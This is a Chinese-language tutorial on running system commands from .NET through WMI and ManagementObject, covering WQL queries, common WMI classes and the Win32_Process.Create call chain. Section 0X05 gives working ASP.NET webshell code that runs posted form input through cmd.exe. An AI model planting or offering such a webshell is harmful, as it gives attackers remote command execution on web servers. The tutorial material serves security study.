.NET执行系统命令(第3课)之 ManagementObject
字数 1533 2025-08-06 23:10:27
.NET执行系统命令之ManagementObject教学文档
0X01 背景
ManagementObject用于创建WMI类的实例与Windows系统进行交互。WMI(Windows Management Instrumentation)即Windows管理规范,是一项从Windows NT 4.0和Windows 95开始就存在的强大技术。
通过WMI可以:
- 获取服务器硬件信息
- 收集服务器性能数据
- 操作Windows服务
- 远程关机或重启服务器
0X02 WMI查询
WMI提供WQL(WMI Query Language)查询语言,有三种查询类型:
1. 实例查询
用于查询WMI类的实例,基本形式:
SELECT [Class property name|*] FROM [CLASS NAME] <WHERE [CONSTRAINT]>
示例:
SELECT * FROM Win32_Process WHERE Name LIKE "%chrome%"
2. 事件查询
用于WMI事件注册机制,形式:
SELECT [Class property name|*] FROM [INTRINSIC CLASS NAME] WITHIN [POLLING INTERVAL] <WHERE [CONSTRAINT]>
或
SELECT [Class property name|*] FROM [EXTRINSIC CLASS NAME] <WHERE [CONSTRAINT]>
示例:
SELECT * FROM __InstanceCreationEvent WITHIN 15 WHERE TargetInstance ISA 'Win32_LogonSession' AND TargetInstance.LogonType = 2
3. 元查询
用于查询WMI类架构,形式:
SELECT [Class property name|*] FROM Meta_Class<WHERE [CONSTRAINT]>
示例:
SELECT * FROM Meta_Class WHERE __Class LIKE "Win32%"
0X03 WMI基本用法
常用WMI类
| WMI类 | 用途 |
|---|---|
| Win32_OperatingSystem | 操作系统信息 |
| Win32_ComputerSystem | 计算机信息 |
| CIM_DataFile | 文件/目录列举 |
| Win32_Volume | 磁盘卷列举 |
| StdRegProv | 注册表操作 |
| Win32_Process | 运行进程 |
| Win32_Service | 服务列举 |
| Win32_NtLogEvent | 事件日志 |
| Win32_LoggedOnUser | 登录账户 |
| Win32_Share | 共享 |
| Win32_QuickFixEngineering | 已安装补丁 |
.NET中使用WMI
需要引入程序集:
System.Management, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
使用命名空间:
using System.Management;
核心类:
ManagementScope:连接WMI命名空间ManagementBaseObject:管理对象的基本元素ManagementObject:管理WMI实例ManagementObjectCollection:通过WMI检索到的管理对象的集合ManagementObjectSearcher:查询检索管理对象的集合
示例代码获取系统账户:
private static string GetHardWareInfo(string item)
{
if (string.IsNullOrEmpty(item)) return null;
string hardinfo = null;
string querystr = $"select * from {item}";
ManagementObjectSearcher objvide = new ManagementObjectSearcher(querystr);
foreach (ManagementObject obj in objvide.Get())
{
hardinfo += obj["Name"].ToString() + "\n";
}
return hardinfo;
}
// 调用
string v = GetHardWareInfo("Win32_UserAccount");
Console.WriteLine(v);
0X04 新进程创建的调用栈
使用Win32_Process类的Create方法创建新进程,方法原型:
uint32 Create(
[in] string CommandLine,
[in] string CurrentDirectory,
[in] Win32_ProcessStartup ProcessStartupInformation,
[out] uint32 ProcessId
);
.NET实现方式:
ManagementClass processClass = new ManagementClass("Win32_Process");
object[] methodArgs = { "calc.exe", null, null, 0 };
object result = processClass.InvokeMethod("Create", methodArgs);
调用链分析:
ManagementObject.InvokeMethodGetMethodParametersMapInParametersManagementBaseObject.setProperyValueMapValueToWmiValue- 再次调用
ManagementObject.InvokeMethod GetSecuredIWbemServicesHandler.ExecMethod_pWbemServiecsSecurityHelper.ExecMethod_UnmanagedType.CustomMarshalerMarshalWbemObject.MarshalManagedToNativeMarshalWbemObject.MarshalNativeToManaged
0X05 编写WebShell
ASP.NET页面实现WMI命令执行:
<%@ Assembly Name="System.Management, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a" %>
Server.ScriptTimeout = 775000;
if (IsPostBack)
{
var content = Request.Form["content"];
if (!string.IsNullOrEmpty(content))
{
string ExecCode = EncodeBase64("utf-8", content);
ManagementClass processClass = new ManagementClass("\\root\\cimv2:Win32_Process");
object[] methodArgs = { "cmd.exe " + DecodeBase64("utf-8",ExecCode)};
object result = processClass.InvokeMethod("Create", methodArgs);
}
}
其他调用方式:
// 指定命名空间
ManagementClass processClass = new ManagementClass("\\root\\cimv2:Win32_Process");
object[] methodArgs = { "calc.exe" };
object result = processClass.InvokeMethod("Create", methodArgs);
// 异步调用
ManagementClass processClass = new ManagementClass("\\root\\cimv2:Win32_Process");
object[] methodArgs = { "calc.exe" };
processClass.InvokeMethod(new ManagementOperationObserver(), "Create", methodArgs);
// 使用GetMethodParameters
ManagementBaseObject inParams = processClass.GetMethodParameters("Create");
inParams["CommandLine"] = "winver.exe";
ManagementBaseObject outParams = processClass.InvokeMethod("Create", inParams, null);
总结
通过ManagementObject和WMI技术,.NET应用程序可以:
- 获取系统各种信息
- 管理系统进程和服务
- 执行系统命令
- 实现远程管理功能
使用时需要注意:
- 需要适当权限
- 注意异常处理
- 考虑性能影响
- 注意安全风险